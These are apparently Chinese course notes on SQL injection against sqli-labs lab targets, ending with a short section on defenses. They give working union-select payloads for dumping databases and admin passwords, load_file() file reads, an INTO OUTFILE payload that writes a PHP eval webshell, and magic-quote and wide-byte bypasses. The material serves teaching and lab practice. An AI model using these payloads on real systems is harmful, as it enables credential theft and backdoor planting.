13.SQL漏洞-高低权限注入&敏感文件读写

思维导图13.SQL漏洞-高低权限注入&敏感文件读写_第1张图片

13.SQL漏洞-高低权限注入&敏感文件读写_第2张图片

文章目录

  • 【高权限注入及低权限注入】
    • 高用户权限和低用户权限的不同
    • 跨库查询思路
      • 1.获取所有数据库名
      • 2. 获取指定phpyun数据库名下的表名信息
      • 3. 获取指定phpyun数据库下的表名phpyun_admin_user的列名信息
      • 4 获取指定phpyun数据库下的username、password数据
  • 【文件读写操作】
    • MySQL特有的函数
    • `前提条件`:
      • 1、`load_file()` --- 读取函数
      • 2、`into outfile` 或 `into dumpfile` --- 导出函数
    • 路径获取常见方法
    • 常见
    • magic_quotes_gpc
    • 魔术引号绕过方法
      • 1、编码绕过 转成十六进制进行绕过
      • 2、宽字节绕过
      • 低版本注入 (MySQL版本<5.0,90、00年老站)
  • 【演示实验】
  • 常见的load_file()读取的敏感信息
    • 防注入手段
      • 魔术引号及常见防护
    • 内置函数
    • 关键字过滤
    • WAF

【高权限注入及低权限注入】

高用户权限和低用户权限的不同

网站A=数据库A=管理员用户A 存在sql注入漏洞 Root 前提是具有高权限
网站B=数据库B=管理员用户B 没有存在sql注入漏洞
网站C=数据库C=管理员用户C

跨库查询思路

用高权限用户来跨数据库查询

1.获取所有数据库名

http://192.168.80.140/sqlilabs/Less-2/?id=1 and 1=2 union select 1,group_concat(schema_name),3 from information_schema.schemata

原理:
13.SQL漏洞-高低权限注入&敏感文件读写_第3张图片
SCHEMA_NAME有所有数据库的名字

2. 获取指定phpyun数据库名下的表名信息

http://192.168.80.140/sqlilabs/Less-2/?id=1 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='phpyun'

table_name 是这个 information_schema.tables 表的列

3. 获取指定phpyun数据库下的表名phpyun_admin_user的列名信息

http://192.168.80.140/sqlilabs/Less-2/?id=1  and  1=2  union  select  1,group_concat(column_name),3  from  information_schema.columns  where  table_schema='phpyun'  and  table_name='phpyun_admin_user'

4 获取指定phpyun数据库下的username、password数据

http://192.168.80.140/sqlilabs/Less-2/?id=1  and  1=2  union  select 1,username,password  from  phpyun.phpyun_admin_user

【文件读写操作】

MySQL特有的函数

修改mysql.ini 文件,在[mysqld] 下加入

secure_file_priv =

前提条件

在mysql.ini配置文件添加参数secure_file_priv = [空]

1、load_file() — 读取函数

在window 下的路径// 或者\\ 都有结果 双写来转义
写法:?id=1 and 1=2 union select 1,load_file(‘C://boot.ini’),3–+
13.SQL漏洞-高低权限注入&敏感文件读写_第4张图片

2、into outfileinto dumpfile — 导出函数

写法:?id=1 and 1=2 union select 1,'x',3 into outfile 'C://a.txt'--+

写shell:

?id=-3')) union select 1,0x3c3f706870206576616c28245f524551554553545b315d293b3f3e,3 into outfile 'C:\\Users\\Administrator.WIN2012\\Desktop\\phpStudy\\WWW\\outfile.php' --+

13.SQL漏洞-高低权限注入&敏感文件读写_第5张图片
13.SQL漏洞-高低权限注入&敏感文件读写_第6张图片

路径获取常见方法

 报错显示,遗留文件  phpinfo.php,漏洞报路径,平台配置文件,爆破等
 报错显示:一般网站在出现错误的时候会泄露出路径

遗留文件:站长调试的时候遗留的信息文件,如phpinfo(),会泄露路径。用扫描工具可以扫描到

漏洞报错:知道对方是用什么程序搭建的网站,再去网上搜索相关爆路径漏洞
参考:
https://blog.csdn.net/qq_32108547/article/details/95650380

平台配置文件:通过读取文件来读取搭建平台的配置文件。缺点:路径不是默认的,一旦更改很难找到路径

爆破:

常见

读取文件列表:常见写入文件问题:魔术引号开关

magic_quotes_gpc

魔术引号:php内置的一个安全机制,默认是开启的,当打开时,所有的 '(单引号),"(双引号),\(反斜线)和 NULL
字符都会被自动加上一个反斜线进行转义

5.4.0版本以上的把这个功能撤除了
类似PHP中的addslashes()函数

魔术引号绕过方法

1、编码绕过 转成十六进制进行绕过

http://192.168.80.140/sqlilabs/Less-2/?id=1 and 1=2 union select 1,load_file(0x433A2F2F7777772E747874),3–+

文件读取load_file ,用小葵转
13.SQL漏洞-高低权限注入&敏感文件读写_第7张图片
13.SQL漏洞-高低权限注入&敏感文件读写_第8张图片

2、宽字节绕过

(前提数据库编码是gbk)

show variables like '%char%'; 查看编码系统字符集设置
set character_set_client = gbk; 修改字符集编码方式
参考链接:https://blog.csdn.net/qq_46091464/article/details/105893529
13.SQL漏洞-高低权限注入&敏感文件读写_第9张图片

?id=1’ and 1=2–+ 初始注入语句,发现行不通

sqlmap.py -u "url" --batch --tamper=unmagicquotes.py --current-db
unmagicquotes.py 是专门进行宽字节绕过脚本
\   %5c
'   %27

?id=1%df’ and 1=2–+
?id=1%df%5c%27 and 1=2–+
倘若网站的字符集是GBK,mysql使用的编码也是GBK的话,就会认为“ %df%5c%27 ”是一个宽字节。结合(因为宽字节是占两个字节),也就是“縗”

低版本注入 (MySQL版本<5.0,90、00年老站)

配合读取或暴力(没有information_schema自带的数据库)
通过字典跑或猜,工具再进行读取
(常用)或通过文件读取收集路径信息
(少见,一般首选植入后门)

【演示实验】

 高权限注入跨库查询操作测试
 高权限注入文件读写操作测试
 魔术引号开启后相关操作测试 宽字节绕过:http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1 在线靶场
【涉及资源】
https://blog.csdn.net/weixin_30292843/article/details/99381669

常见的load_file()读取的敏感信息

防注入手段

魔术引号及常见防护

魔术引号开关:magic_quotes_gpc

在magic_quotes_gpc=ON的情况下,如果输入的数据有单引号(’)、双引号(”)、反斜线(\)与 NUL( )等字符都会被加上反斜线,即被转义。在PHP6中删除了这个选项

绕过魔术引号方法:编码或宽字节绕过,如将网址转换成十六进制编码

内置函数

addslashes() 效果同魔术引号

is_int() 、is_integer()、is_long() 不可绕过

……

关键字过滤

把特定的关键字替换为空或把含有特定关键字的语句丢弃,WAF好用

尝试大小写、编码、双写等方法绕过,如果过滤设置的全面则无法绕过

WAF

一般基于上述内置函数和关键字过滤,主要是关键字

参考:https://www.bilibili.com/read/cv12500977/

你可能感兴趣的:(web,小迪笔记,SQL)